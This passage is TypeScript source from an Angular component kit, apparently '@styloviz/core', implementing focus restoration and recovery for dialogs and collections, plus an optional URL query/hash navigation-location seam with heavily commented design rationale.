FOCUS IS NOT \"FOCUS THE ELEMENT I SAVED\".\n *\n * Every family in this kit saved `document.activeElement` on open and called\n * `.focus()` on it on close, and every one of them was right about the case\n * they tested: open a dialog from a button, close it, the button gets focus\n * back. The three cases nobody tested all end the same way — `focus()` on a\n * detached element does NOTHING, silently, and focus falls to `<body>`, where\n * the next Tab starts again from the top of the document and a screen reader\n * says nothing at all. The user has no idea where they are.\n *\n *   1. **The trigger was removed while the overlay was open.** This is not an\n *      edge case, it is the SINGLE MOST COMMON DIALOG THERE IS: a confirm\n *      dialog whose whole purpose is to delete the row the trigger sits in.\n *      The better the dialog works, the more reliably it loses focus.\n *   2. **A route changed underneath it.** The opener's entire subtree is gone.\n *   3. **The overlay was nested inside another scope** that closed first, so\n *      the opener is in a portal that no longer exists.\n *\n * So this walks OUTWARD from where the user was until it finds something that\n * survived, and it is specific about what it found. The order is the order of\n * least surprise: the opener, then the nearest surviving ancestor of the\n * opener, then the surface underneath, then the page's main landmark.\n *\n * ★★ THE ANCESTOR CHAIN IS RECORDED AT OPEN TIME, AND IT HAS TO BE.\n *    The tempting version of this function records nothing and walks\n *    `parentElement` from the detached opener at close time. It is wrong, and\n *    it is wrong in the exact case it was written for: removing the row CUTS\n *    THE LINK AT THE ROW. The opener keeps its parent — the `<li>` — but that\n *    `<li>`'s own `parentElement` is `null` the moment it leaves the list, so\n *    the walk dead-ends one step above the opener and never reaches the\n *    container that survived. A detached subtree keeps its links INSIDE\n *    itself; it does not keep the one that was severed. The chain must\n *    therefore be captured while it is still whole — which is exactly when\n *    `capture()` runs.\n *\n * ★ `<body>` is never an answer. A walk that reaches it has found nothing —\n *   body is connected by definition, so accepting it would turn every failure\n *   back into the silent one this exists to prevent.\n */\nfunction canTakeFocusAgain(el: HTMLElement | null): el is HTMLElement {\n  return (\n    !!el &&\n    el.isConnected &&\n    !el.hasAttribute('disabled') &&\n    !el.hidden &&\n    !el.closest('[inert]')\n  );\n}\n\nexport function createFocusScope(options: SvFocusScopeOptions = {}): SvFocusScope {\n  const doc = options.document ?? (typeof document !== 'undefined' ? document : null);\n  let opener: HTMLElement | null = null;\n  /** The opener's ancestors, outermost last, as they stood when it had focus. */\n  let ancestors: HTMLElement[] = [];\n\n  const focusIn = (container: Element | null | undefined): HTMLElement | null => {\n    const first = svFirstFocusableWithin(container);\n    if (first) { first.focus(); return first; }\n    return null;\n  };\n\n  /**\n   * Focus a container that has nothing focusable inside it.\n   *\n   * `tabindex=\"-1\"` is added and left: removing it on blur is a listener per\n   * restore for no benefit, and `-1` changes nothing about tab order — it only\n   * makes the element a legal `focus()` target.\n   */\n  const focusContainer = (el: Element | null | undefined): HTMLElement | null => {\n    if (!(el instanceof HTMLElement) || !el.isConnected) return null;\n    if (el.tabIndex < 0 && !el.hasAttribute('tabindex')) el.setAttribute('tabindex', '-1');\n    el.focus();\n    return el;\n  };\n\n  return {\n    get opener() { return opener?.isConnected ? opener : null; },\n\n    capture(): void {\n      if (!doc) return;\n      const explicit = options.opener?.();\n      const active = explicit ?? doc.activeElement;\n      opener = active instanceof HTMLElement && active !== doc.body ? active : null;\n      ancestors = [];\n      for (let n = opener?.parentElement ?? null; n; n = n.parentElement) ancestors.push(n);\n    },\n\n    restore(): SvFocusRestoreOutcome {\n      if (!doc) return 'none';\n      const saved = opener;\n      const chain = ancestors;\n      opener = null;\n      ancestors = [];\n\n      // 1. Has the user already moved on? Focus that is neither nowhere nor\n      //    inside this overlay belongs to something the user chose — an\n      //    outside click that landed on another control, most often. Taking it\n      //    away is a bug of its own, and the one families \"fixed\" by restoring\n      //    unconditionally.\n      //    ★ The opener itself is not \"somewhere else\". Focus often never left\n      //      it — a popover that never took focus, a dialog closed before it\n      //      mounted — and calling that a user move would turn the commonest\n      //      no-op into a reported failure.\n      const active = doc.activeElement;\n      const elsewhere =\n        active instanceof HTMLElement &&\n        active !== doc.body &&\n        active !== doc.documentElement &&\n        active !== saved &&\n        !(options.within?.()?.contains(active) ?? false);\n      if (elsewhere) return 'moved';\n\n      // Nothing had focus when this opened, so there is nothing to put back.\n      // Moving focus anyway would be an unsolicited jump the user did not ask\n      // for — a different bug, not a smaller one.\n      if (!saved) return 'none';\n\n      // 2. The opener itself, if it is still there AND can still take focus. A\n      //    button that survived but is now disabled is not an answer either —\n      //    `focus()` on it is the same silent no-op.\n      //\n      //    ★ The test here is deliberately weaker than `svIsFocusable`: this\n      //      element DID have focus, so a `tabindex=\"-1\"` panel or any other\n      //      programmatic target still qualifies. Only the things that make\n      //      `focus()` a no-op disqualify it.\n      if (canTakeFocusAgain(saved)) {\n        // ★ Already there: report success without touching it. Re-focusing the\n        //   element that already has focus is not free — it can interrupt an\n        //   IME composition and reset a scroll position — and it is the case\n        //   an auto-dismiss hits while the user is typing somewhere else.\n        if (active !== saved) saved.focus();\n        return 'opener';\n      }\n\n      // 3. Outward from where the opener was, to the first ancestor that\n      //    outlived it. `<body>` and `<html>` do not count.\n      const skip = options.skip?.();\n      for (const node of chain) {\n        if (!node.isConnected) continue;\n        if (node === doc.body || node === doc.documentElement) break;\n        // The region being emptied is not a landing place — see `skip`.\n        if (skip && (node === skip || skip.contains(node))) continue;\n        if (focusIn(node) ?? focusContainer(node)) return 'neighbour';\n      }\n\n      // 4. The surface underneath — the nested case, where the scope that\n      //    contained the opener closed before this one did.\n      const below = options.below?.();\n      if (below && (focusIn(below) ?? focusContainer(below))) return 'below';\n\n      // 5. The page changed. The main landmark is where a screen reader should\n      //    resume, so focus the landmark ITSELF rather than its first control:\n      //    the user needs to hear what page they are on, not to be dropped\n      //    into a nav link three levels in.\n      const fallback =\n        options.fallback?.() ?? doc.querySelector('main, [role=\"main\"]');\n      if (focusContainer(fallback)) return 'fallback';\n\n      return 'none';\n    },\n  };\n}\n","import { svFocusableWithin, svIsFocusable } from './focusable';\nimport type { SvLiveAnnouncer } from '../a11y/live-announcer';\n\n/**\n * ============================================================================\n *  Where focus goes when the thing holding it disappears — `X-14`\n * ============================================================================\n *\n * Five navigation families drop focus to `<body>` in the same situation and each\n * described it as its own bug: close the active tab (`NV-06-I1`), collapse a\n * panel containing focus (`NV-01-I4`), replace a page of results\n * (`NV-04-I6`), follow an anchor (`NV-02-M7`), dismiss a menu.\n *\n * ── ★ Why `<body>` is the specific failure, and not just untidy ─────────────\n * Focus on `<body>` is not \"focus nowhere\". It is focus at the **top of the\n * document**, so the next Tab goes to the first link on the page — the skip\n * link, the logo — and a keyboard user who deleted one tab out of six is\n * returned to the start of the site with no announcement. They have to find\n * their way back through everything to reach the tab strip they were in. A\n * sighted mouse user sees none of it, which is why it survives review.\n *\n * ── The rule, implemented once ──────────────────────────────────────────────\n * **Move focus to the nearest stable equivalent, announce what happened, and\n * never drop to `<body>`.** Callers supply the equivalents in priority order —\n * for a closed tab that is *next tab, then previous, then the tablist* — and a\n * `fallback` container that will take focus when none of them can.\n *\n * ── ★ Announce WHAT HAPPENED, not WHERE YOU ARE ─────────────────────────────\n * Assistive technology already announces a newly focused element; repeating it\n * is noise, and noise is what gets a live region switched off. The message is\n * for the thing the AT cannot know — *\"Tab closed\"*, *\"Page 3 of 12 loaded\"* —\n * and it is optional, because sometimes the focus move alone says everything.\n */\n\n/**\n * ── The mutation rule — `X-12` ───────────────────────────────────────────────\n * One rule for every collection whose item holding focus is removed by a\n * mutation — a comment posts, a file is removed, a card moves, a tree node is\n * deleted, a lightbox closes, a row is filtered away:\n *\n * 1. **The successor at the same index** — the item that slid into the removed\n *    one's place, so a reader deleting three rows in a row keeps pressing the\n *    same key;\n * 2. else **the predecessor** — the removed item was the last one;\n * 3. else **the container** — the list is now empty (passed as `fallback`);\n * 4. **never `<body>`.**\n *\n * A dialog-like surface that closes (a lightbox) follows the same rule through\n * `createFocusScope`: back to the control that opened it — or, if that control\n * no longer represents what was last shown, to its equivalent (the thumbnail of\n * the image last viewed) — then the component root.\n *\n * {@link svSuccessorIndex} computes step 1–2 on the post-mutation list;\n * {@link svRecoverFocus} applies steps 1–4 to elements.\n *\n * @param removedIndex where the removed item sat in the list BEFORE the mutation.\n * @param remaining how many items the list holds AFTER it.\n * @returns the index to focus in the post-mutation list, or `-1` when the list\n * is empty and focus belongs to the container.\n */\nexport function svSuccessorIndex(removedIndex: number, remaining: number): number {\n  if (remaining <= 0) return -1;\n  if (removedIndex < 0) return 0;\n  return Math.min(removedIndex, remaining - 1);\n}\n\n/** How {@link svRecoverFocus} chooses where focus lands. */\nexport interface SvFocusRecoveryOptions {\n  /**\n   * Candidates in priority order. The first one still in the document and\n   * actually focusable wins.\n   *\n   * Nulls are allowed and skipped, so a caller can write its preference list\n   * without guarding each entry — `[next, previous, list]` reads as the policy\n   * it is.\n   */\n  readonly to: readonly (Element | null | undefined)[];\n\n  /**\n   * Where focus goes when nothing in {@link to} can take it — a container that\n   * still exists, such as the tablist or the nav landmark.\n   *\n   * ★ **This is what \"never drop to `<body>`\" actually means.** It is made\n   * programmatically focusable (`tabindex=\"-1\"`) if it is not already, and the\n   * attribute is removed again when focus leaves, so a container does not stay\n   * marked as a focus target for the rest of the session.\n   */\n  readonly fallback?: Element | null;\n\n  /** What to tell a screen reader about the EVENT. See the note above. */\n  readonly announce?: string;\n\n  /** The announcer to say it through. Injected by the caller; omit for silence. */\n  readonly announcer?: SvLiveAnnouncer | null;\n}\n\n/**\n * Move focus somewhere sensible after the element holding it has gone.\n *\n * ⚠️ **Call this AFTER the removal has rendered.** Focus cannot move to an\n * element that is not in the document yet, and it cannot be taken from one the\n * browser has already discarded — call it too early and the browser moves focus\n * to `<body>` first, which is the thing being avoided. In a component that means\n * `afterNextRender`, or a task scheduled after the host has re-rendered.\n *\n * @returns the element that received focus, or `null` if nothing could.\n */\nexport function svRecoverFocus(options: SvFocusRecoveryOptions): HTMLElement | null {\n  // ★ `typeof` first: on the server `HTMLElement` is not a global at all, and\n  //   `x instanceof HTMLElement` throws a ReferenceError even when `x` is null.\n  //   Under SSR there is no focus to recover, so this is a no-op returning null.\n  if (typeof HTMLElement === 'undefined') return null;\n\n  const { to, fallback, announce, announcer } = options;\n\n  const say = (): void => {\n    if (announce && announcer) announcer.announce(announce);\n  };\n\n  for (const candidate of to) {\n    if (!svIsFocusable(candidate)) continue;\n    candidate.focus();\n    say();\n    return candidate;\n  }\n\n  if (fallback instanceof HTMLElement && fallback.isConnected) {\n    // Not `svIsFocusable`: the whole point of a fallback is that it is a plain\n    // container which is not focusable yet, and is about to be made so.\n    const borrowed = !fallback.hasAttribute('tabindex');\n    if (borrowed) fallback.setAttribute('tabindex', '-1');\n\n    fallback.focus();\n\n    if (borrowed) {\n      // Given back when focus leaves. `tabindex=\"-1\"` keeps it out of the tab\n      // order either way, so this is tidiness rather than a fix — but a\n      // container that silently accumulates attributes over a session is how a\n      // later reader concludes it was always meant to be focusable.\n      fallback.addEventListener(\n        'blur',\n        () => fallback.removeAttribute('tabindex'),\n        { once: true },\n      );\n    }\n\n    say();\n    return fallback;\n  }\n\n  return null;\n}\n\n/** Where focus sat inside a keyed collection, taken BEFORE a mutation renders. */\nexport interface SvFocusedItemSnapshot {\n  /** The focused item's key (the value of its key attribute). */\n  readonly key: string;\n  /** The item's position among the rendered items. */\n  readonly index: number;\n  /** Which focusable inside the item held focus (`-1`: the item itself). */\n  readonly control: number;\n}\n\n/**\n * Record which rendered item of a keyed collection holds focus.\n *\n * `items` are the rendered item elements in order; each carries `keyAttr`.\n * Returns `null` when focus is not inside any of them.\n */\nexport function svSnapshotFocusedItem(\n  items: readonly Element[],\n  keyAttr: string,\n): SvFocusedItemSnapshot | null {\n  const active = typeof document === 'undefined' ? null : document.activeElement;\n  if (!active) return null;\n  const index = items.findIndex(item => item === active || item.contains(active));\n  if (index < 0) return null;\n  const item = items[index];\n  const key = item.getAttribute(keyAttr);\n  if (key === null) return null;\n  const control = item === active ? -1 : svFocusableWithin(item).indexOf(active as HTMLElement);\n  return { key, index, control };\n}\n\n/**\n * Apply the mutation rule to a keyed collection after it re-rendered: if the\n * item in `snapshot` is gone, focus the same control in the item now at its\n * index (then its predecessor), else `fallback` — never `<body>`.\n *\n * An item that is itself the focus target (a roving row) is given\n * `tabindex=\"0\"` first, so it owns the collection's tab stop.\n *\n * @returns the element focused, or `null` when the item is still there (no\n * recovery needed) or nothing could take focus.\n */\nexport function svRestoreFocusedItem(\n  items: readonly Element[],\n  keyAttr: string,\n  snapshot: SvFocusedItemSnapshot,\n  options: Omit<SvFocusRecoveryOptions, 'to'> = {},\n): HTMLElement | null {\n  if (items.some(item => item.getAttribute(keyAttr) === snapshot.key)) return null;\n  const successor = items[svSuccessorIndex(snapshot.index, items.length)] as HTMLElement | undefined;\n  let target: Element | null = null;\n  if (successor) {\n    if (snapshot.control < 0) {\n      successor.tabIndex = 0;\n      target = successor;\n    } else {\n      const controls = svFocusableWithin(successor);\n      target = controls[Math.min(snapshot.control, controls.length - 1)] ?? null;\n    }\n  }\n  return svRecoverFocus({ ...options, to: [target] });\n}\n","import {\n  DestroyRef,\n  InjectionToken,\n  type EnvironmentProviders,\n  type Signal,\n  computed,\n  inject,\n  makeEnvironmentProviders,\n  signal,\n} from '@angular/core';\n\ndeclare const ngDevMode: boolean | undefined;\n\n/**\n * ============================================================================\n *  The navigation location seam — `X-8`\n * ============================================================================\n *\n * Five navigation families independently ask for the same thing: put my state in\n * the URL. Tabs (`NV-06-M3`), Breadcrumb (`NV-03-M1`), Pagination (`NV-04-M4`),\n * Stepper (`NV-05-M2`) and Mega Menu (`NV-07-M4`), plus Accordion (`NV-01-M1`)\n * and Anchor (`NV-02-M2`) wanting the hash half. Seven implementations of one\n * idea is how seven subtly different answers to \"does back undo this?\" get\n * shipped.\n *\n * ── Why a seam and not a router dependency ──────────────────────────────────\n * **Optional is the load-bearing word.** A kit that hard-depends on\n * `@angular/router` is unusable in a hybrid app, in a non-routed widget, or\n * inside another framework's shell — and we had the proof in-tree: `sv-sidebar`\n * imports `RouterLink` directly (as `sv-breadcrumb` and `sv-sidebar-nav` did\n * until they moved to `SvLinkAdapter`), which is exactly why it cannot be\n * dropped into a consumer's app that routes some other way.\n *\n * So `@styloviz/core` deliberately does **not** import `@angular/router`. The\n * router implementation is fifteen lines the consumer writes, and it is in the\n * documentation rather than in this package. What ships here is the seam plus\n * the three implementations that need no router at all.\n *\n * ── Why the default does nothing ────────────────────────────────────────────\n * {@link svNoopNavLocation} is the default, and that is not laziness. A\n * component that starts writing to the address bar because the consumer upgraded\n * a package has changed their app's behaviour without being asked — their\n * analytics see new URLs, their back button gains entries, and a shared link\n * means something different than it did last week. Addressability is opt-in.\n *\n * ── Why `replace` is the default write mode ─────────────────────────────────\n * `NV-02-I3` is the cautionary case: a scrollspy that pushes a history entry for\n * every section the reader scrolls past fills the back stack until back stops\n * being a way out of the page. That is the single most common defect in this\n * category in the wild. Pushing is a deliberate act — \"this was a navigation the\n * user should be able to undo\" — so it has to be asked for.\n */\n\n/** What a write does to browser history. */\nexport type SvNavWriteMode =\n  /** Rewrite the current entry. The default: no new back-stack entry. */\n  | 'replace'\n  /** Add an entry, so the browser's back button undoes this change. */\n  | 'push';\n\n/**\n * Where a component reads and writes its addressable state.\n *\n * Implementations are keyed stores over *something the browser already has* — a\n * query string, the hash, a router's state. They are deliberately synchronous\n * and string-valued: a component that needs a number parses it, because the URL\n * only ever held text.\n */\nexport interface SvNavLocation {\n  /** Names the implementation, for diagnostics only. */\n  readonly kind: string;\n\n  /**\n   * The current value for `key`, or `null` when absent.\n   *\n   * Returns `null` on the server for every browser-backed implementation, which\n   * is the answer to `X-9`'s \"what renders before any measurement runs\": the\n   * component's own default, not a guess at the URL.\n   */\n  read(key: string): string | null;\n\n  /**\n   * Store `value` under `key`; `null` removes the key entirely.\n   *\n   * Removing rather than storing an empty string matters — `?tab=` and no `tab`\n   * at all are different URLs, and only one of them is what \"no selection\"\n   * means.\n   */\n  write(key: string, value: string | null, mode?: SvNavWriteMode): void;\n\n  /**\n   * Observe changes made by anything else — the back button, another component\n   * sharing this location, or the consumer's own router. Returns the\n   * unsubscribe.\n   *\n   * Listeners fire on external navigation **and** on {@link write}, so two\n   * components sharing one location cannot drift apart. That makes a listener's\n   * job idempotent by design: read the value, compare, do nothing if unchanged.\n   */\n  subscribe(listener: () => void): () => void;\n}\n\n/** True only in a browser with a usable History API. */\nfunction browserHistoryAvailable(): boolean {\n  return (\n    typeof window !== 'undefined' &&\n    typeof window.history !== 'undefined' &&\n    typeof window.location !== 'undefined'\n  );\n}\n\n/**\n * A listener registry shared by the browser-backed implementations.\n *\n * `popstate` fires for back and forward but **not** for `pushState` or\n * `replaceState`, so a location that only forwarded `popstate` would let two\n * components on one page disagree the moment either of them wrote. Writes\n * notify too.\n */\nfunction createListeners(): {\n  add(listener: () => void): () => void;\n  notify(): void;\n  readonly size: () => number;\n} {\n  const listeners = new Set<() => void>();\n  return {\n    add(listener) {\n      listeners.add(listener);\n      return () => listeners.delete(listener);\n    },\n    notify() {\n      // Copied, so a listener that unsubscribes during notification cannot\n      // shorten the set mid-iteration and skip the next one.\n      for (const listener of [...listeners]) listener();\n    },\n    size: () => listeners.size,\n  };\n}\n\n/**\n * The default: reads nothing, writes nothing, notifies nobody.\n *\n * Every component that adopts the seam works with this in place — which is the\n * test that the seam is genuinely optional. If a component only behaves\n * correctly with a real location wired up, it has made routing mandatory\n * through the back door.\n */\nexport function svNoopNavLocation(): SvNavLocation {\n  return {\n    kind: 'noop',\n    read: () => null,\n    write: () => undefined,\n    subscribe: () => () => undefined,\n  };\n}\n\n/**\n * Query-string state: `?tab=billing&page=3`.\n *\n * The general-purpose implementation, and the right one for anything that is one\n * of several independent pieces of state on a page. Multiple components share it\n * safely because each owns its own key.\n */\nexport function svQueryParamNavLocation(): SvNavLocation {\n  const listeners = createListeners();\n  let detach: (() => void) | null = null;\n\n  const params = (): URLSearchParams =>\n    new URLSearchParams(browserHistoryAvailable() ? window.location.search : '');\n\n  return {\n    kind: 'query',\n\n    read(key) {\n      return params().get(key);\n    },\n\n    write(key, value, mode = 'replace') {\n      if (!browserHistoryAvailable()) return;\n\n      const next = params();\n      if (value === null) next.delete(key);\n      else next.set(key, value);\n\n      const query = next.toString();\n      const url =\n        window.location.pathname + (query ? `?${query}` : '') + window.location.hash;\n\n      // Same URL, same history: writing it again would add a duplicate back\n      // entry for a change that did not happen.\n      if (url === window.location.pathname + window.location.search + window.location.hash) {\n        return;\n      }\n\n      if (mode === 'push') window.history.pushState(window.history.state, '', url);\n      else window.history.replaceState(window.history.state, '', url);\n\n      listeners.notify();\n    },\n\n    subscribe(listener) {\n      const remove = listeners.add(listener);\n\n      if (browserHistoryAvailable() && !detach) {\n        const onPopState = () => listeners.notify();\n        window.addEventListener('popstate', onPopState);\n        detach = () => window.removeEventListener('popstate', onPopState);\n      }\n\n      return () => {\n        remove();\n        if (listeners.size() === 0 && detach) {\n          detach();\n          detach = null;\n        }\n      };\n    },\n  };\n}\n\n/**\n * Hash state: `#installation`.\n *\n * ★ **The hash is one slot, so this location owns exactly one key.** That is a\n * fact about URLs, not a limitation of this implementation: `#a` and `#b` cannot\n * both be true. An accordion deep-link and an anchor rail on the same page are\n * competing for the same slot, and the honest answer is that one of them owns it\n * — which is why `boundKey` is required rather than inferred. `read` and `write`\n * ignore any other key, so a second component wired here fails visibly instead\n * of silently stealing the first one's state.\n *\n * Use it for the thing a reader would paste into a message: a section, an FAQ\n * answer. Anything else belongs in {@link svQueryParamNavLocation}.\n */\nexport function svHashNavLocation(boundKey: string): SvNavLocation {\n  const listeners = createListeners();\n  let detach: (() => void) | null = null;\n\n  const warnForeignKey = (key: string): void => {\n    if (typeof ngDevMode !== 'undefined' && ngDevMode) {\n      console.warn(\n        `[styloviz] svHashNavLocation is bound to \"${boundKey}\" and was asked for ` +\n          `\"${key}\". The hash holds one value, so one component owns it — give the ` +\n          `other one svQueryParamNavLocation() instead.`,\n      );\n    }\n  };\n\n  return {\n    kind: `hash:${boundKey}`,\n\n    read(key) {\n      if (key !== boundKey) {\n        warnForeignKey(key);\n        return null;\n      }\n      if (!browserHistoryAvailable()) return null;\n      const raw = window.location.hash.replace(/^#/, '');\n      if (raw === '') return null;\n      // ★ The hash is typed by people and pasted from chat, so a malformed\n      //   escape (`#%E0%A4`) is ordinary input. `decodeURIComponent` throws\n      //   `URIError` on it — inside the `computed` of every `svNavParam` bound\n      //   here — so the raw text is returned instead of taking the page down.\n      try {\n        return decodeURIComponent(raw);\n      } catch {\n        return raw;\n      }\n    },\n\n    write(key, value, mode = 'replace') {\n      if (key !== boundKey) {\n        warnForeignKey(key);\n        return;\n      }\n      if (!browserHistoryAvailable()) return;\n\n      const hash = value === null ? '' : `#${encodeURIComponent(value)}`;\n      const url = window.location.pathname + window.location.search + hash;\n      if (hash === window.location.hash) return;\n\n      if (mode === 'push') window.history.pushState(window.history.state, '', url);\n      else window.history.replaceState(window.history.state, '', url);\n\n      listeners.notify();\n    },\n\n    subscribe(listener) {\n      const remove = listeners.add(listener);\n\n      if (browserHistoryAvailable() && !detach) {\n        const onChange = () => listeners.notify();\n        // Both: `hashchange` covers a user editing the address bar or following\n        // a plain `#` link, `popstate` covers back and forward.\n        window.addEventListener('hashchange', onChange);\n        window.addEventListener('popstate', onChange);\n        detach = () => {\n          window.removeEventListener('hashchange', onChange);\n          window.removeEventListener('popstate', onChange);\n        };\n      }\n\n      return () => {\n        remove();\n        if (listeners.size() === 0 && detach) {\n          detach();\n          detach = null;\n        }\n      };\n    },\n  };\n}\n\n/**\n * Where components look for their location.\n *\n * Defaults to {@link svNoopNavLocation}, so nothing touches the URL until a\n * consumer asks. Provided once at the root, which is also what lets two\n * components share one location and stay in step.\n */\nexport const SV_NAV_LOCATION = new InjectionToken<SvNavLocation>('SvNavLocation', {\n  providedIn: 'root',\n  factory: svNoopNavLocation,\n});\n\n/**\n * Wire a location in — as a value, or as a factory when it needs injection.\n *\n * ★ **The factory form is the one a router adapter needs.** `inject()` inside\n * `read`, `write` or `subscribe` runs when a component calls them, which is\n * outside any injection context, and throws `NG0203` at interaction time rather\n * than at startup. A factory injects once, where it is legal, and the returned\n * closure uses what it captured. (The first draft of the example below got this\n * wrong, which is why the note is here rather than in a changelog.)\n *\n * @example\n * // app.config.ts — put tab, page and step state in the query string\n * providers: [provideSvNavLocation(svQueryParamNavLocation())]\n *\n * @example\n * // Your own router adapter. `@styloviz/core` cannot import `@angular/router`,\n * // which is the whole point — so this lives in your app, in fifteen lines.\n * providers: [\n *   provideSvNavLocation(() => {\n *     const router = inject(Router);\n *     return {\n *       kind: 'angular-router',\n *       read: (key) => router.parseUrl(router.url).queryParams[key] ?? null,\n *       write: (key, value, mode) => {\n *         void router.navigate([], {\n *           queryParams: { [key]: value },\n *           queryParamsHandling: 'merge',\n *           replaceUrl: mode !== 'push',\n *         });\n *       },\n *       subscribe: (fn) => { const s = router.events.subscribe(fn); return () => s.unsubscribe(); },\n *     };\n *   }),\n * ]\n */\nexport function provideSvNavLocation(\n  location: SvNavLocation | (() => SvNavLocation),\n): EnvironmentProviders {\n  return makeEnvironmentProviders([\n    typeof location === 'function'\n      ? { provide: SV_NAV_LOCATION, useFactory: location }\n      : { provide: SV_NAV_LOCATION, useValue: location },\n  ]);\n}\n\n/** Options for {@link svNavParam}. */\nexport interface SvNavParamOptions {\n  /**\n   * History behaviour for writes from this parameter. Default `'replace'`.\n   *\n   * A single write can override it — see {@link SvNavParam.set} — for the case\n   * where the same key means \"the user navigated\" from one call site and \"the\n   * view drifted\" from another.\n   */\n  readonly mode?: SvNavWriteMode;\n}\n\n/**\n * The key a parameter is bound to.\n *\n * A plain string for state the component always owns. A function when the key\n * comes from an `input()` — which is the normal case, because **the key has to be\n * per-instance.** Two paginators on one page cannot both own `?page`, and a\n * component that hard-coded its key would make the second one a collision the\n * consumer cannot fix. `null` means \"do not synchronise\", which is the default a\n * component should ship: the location being wired up says the app opted in, and\n * the key says *this instance* did.\n */\nexport type SvNavKey = string | (() => string | null);\n\n/** One piece of addressable state, as a signal plus a setter. */\nexport interface SvNavParam {\n  /** The current value, `null` when the location does not hold it or no key is set. */\n  readonly value: Signal<string | null>;\n  /**\n   * Store a value, or `null` to remove it. A no-op when not {@link addressable}.\n   *\n   * `mode` overrides this parameter's configured write mode for one call.\n   *\n   * ★ It exists because **one key can honestly have two write modes**, decided\n   * per write rather than per parameter. `sv-anchor` is the case that named it:\n   * reflecting the scroll position must `replace`, or the back stack fills with\n   * every section the reader scrolled past — `NV-02-I3`'s defect exactly — while\n   * a *click* on \"API reference\" in the same nav is a navigation the reader\n   * expects back to undo. Same key, same parameter, two different claims about\n   * what the user did, and only the call site knows which one it is.\n   */\n  set(value: string | null, mode?: SvNavWriteMode): void;\n  /**\n   * Whether this parameter actually reaches a URL — a real location is provided\n   * *and* this instance has a key. A component can branch on it to skip work it\n   * would only need in order to synchronise.\n   */\n  readonly addressable: Signal<boolean>;\n}\n\n/**\n * Bind one key of the injected location to a signal.\n *\n * Call it in a field initializer, inside an injection context:\n *\n * ```ts\n * // Key from an input, so each instance owns its own parameter.\n * urlKey = input<string | null>(null);\n * private readonly pageParam = svNavParam(() => this.urlKey(), { mode: 'push' });\n * ```\n *\n * It exists so the seven families do not each write the same `subscribe` /\n * `read` / cleanup dance seven slightly different ways.\n *\n * ── Why a `computed` over a revision counter ────────────────────────────────\n * The obvious shape — a writable signal seeded from `location.read()` and\n * updated from `subscribe` — cannot read an `input()`. A field initializer runs\n * before inputs are set, so it would capture the *default* key and bind to the\n * wrong parameter forever, silently.\n *\n * Deriving instead means the key is read at the moment the value is, so an\n * input-driven key works with no lifecycle hook, and the first read is still\n * synchronous — which is the deep-link case arriving for free. The counter is\n * what turns an imperative notification back into something a `computed` can\n * depend on.\n *\n * An external change to somebody else's key does bump the counter and recompute\n * this value, but `computed` only propagates when the result actually differs —\n * so nothing downstream wakes for a parameter that did not change.\n *\n * ── ★ A parameter is a PROJECTION, not storage ──────────────────────────────\n * `value` reads the location. It is not a cache of what was last `set`, and with\n * the no-op location in place it stays `null` no matter how often it is written.\n *\n * That is the correct shape, and getting it wrong is how the seam would stop\n * being optional. A component keeps its own state — Pagination has\n * `currentPage`, Tabs has `activeId` — and the parameter is the *projection* of\n * that state into the URL. If the parameter held the value itself, a component\n * would read its own state back out of a location that may not exist, and with\n * the default no-op it would read `null` and break. Optional means the component\n * still works when nothing is listening, so the state has to live in the\n * component and the parameter has to be a mirror.\n */\nexport function svNavParam(key: SvNavKey, options: SvNavParamOptions = {}): SvNavParam {\n  const location = inject(SV_NAV_LOCATION);\n  const mode = options.mode ?? 'replace';\n  const resolveKey = typeof key === 'function' ? key : () => key;\n\n  /** Bumped by anything that changes the location, so `value` can depend on it. */\n  const revision = signal(0);\n\n  const value = computed<string | null>(() => {\n    const k = resolveKey();\n    revision();\n    return k === null ? null : location.read(k);\n  });\n\n  const addressable = computed(() => location.kind !== 'noop' && resolveKey() !== null);\n\n  const unsubscribe = location.subscribe(() => revision.update((n) => n + 1));\n  inject(DestroyRef).onDestroy(unsubscribe);\n\n  return {\n    value,\n    addressable,\n    set(next, override) {\n      const k = resolveKey();\n      if (k === null) return;\n      location.write(k, next, override ?? mode);\n      // A no-op location never notifies, so nothing would recompute without this.\n      revision.update((n) => n + 1);\n    },\n  };\n}\n","import { DestroyRef, inject } from '@angular/core';\nimport { SV_NAV_LOCATION } from './nav-location';\n\n/**\n * ============================================================================\n *  Closing a floating panel when the page underneath changes — `NV-03-I5`, `NV-07-I7`\n * ============================================================================\n *\n * A breadcrumb's sibling-page menu and a mega menu's panel both live in\n * `document.body`, outside the component that owns them and outside whatever the\n * router swaps. So a navigation that replaces the page leaves them **hanging over\n * the new one** — a menu of links to a section the user has already left, drawn on\n * top of where they just arrived.\n *\n * ── ⚠️ `SvOverlayStackService` does not do this, despite the backlog saying so ──\n * The stack service owns z-index bands and `inert` marking. It has no idea what a\n * route is and nothing in it observes navigation. Reaching for it would have\n * produced a change that compiles, reads plausibly, and closes nothing.\n *\n * ── What \"a navigation happened\" means without importing a router ───────────\n * Three signals, and the third is the only one that needs wiring:\n *\n *   · **`popstate`** — back and forward. Always available.\n *   · **`hashchange`** — following a plain `#` link. Always available.\n *   · **{@link SV_NAV_LOCATION}** — whatever the app told us about. An adapter\n *     over the Angular router notifies on every `NavigationEnd`.\n *\n * ★ **`pushState` fires nothing**, which is the whole difficulty: an SPA\n * navigation is invisible to the platform. That is why the location seam is in\n * the list — it is the one channel an app can use to say *\"the page changed\"*\n * without this package importing a router. With the default no-op location the\n * first two still work, so back and forward close the panel in every app, and an\n * app that provides a location gets SPA navigation too.\n *\n * The honest statement of the gap: **a component cannot detect a navigation it\n * was never told about**, and the fix is one `provideSvNavLocation(…)` call.\n *\n * ── ★ A location notification is not, by itself, a navigation ──────────────\n * `SvNavLocation.subscribe` fires on external changes **and on every\n * write** — which includes the kit's own. `sv-anchor` rewriting the hash as the\n * reader scrolls, a tab change mirrored into `?tab=`, an accordion deep-link:\n * each is an `svNavParam.set` on the SAME page, and each notifies. Closing on\n * all of them meant scrolling the page shut an open breadcrumb menu.\n *\n * So the location channel is filtered by **path**: a notification closes only\n * when `location.pathname` differs from the last one this helper saw. A\n * query-only or hash-only write is the page describing itself, not leaving;\n * an SPA route change moves the path, and that closes. The two platform events\n * stay unfiltered — `popstate` and `hashchange` are only ever raised by the\n * browser (back/forward, a followed `#` link, an edited address bar), never by\n * `pushState`/`replaceState`, so they cannot be the kit talking to itself.\n *\n * ⚠️ The cost, stated: an app navigation that changes ONLY the query string\n * (`/search?q=a` → `/search?q=b`) through the location seam does not close the\n * panel. That is the same shape as a kit write and cannot be told apart from\n * one without a router; the owner closes explicitly if it 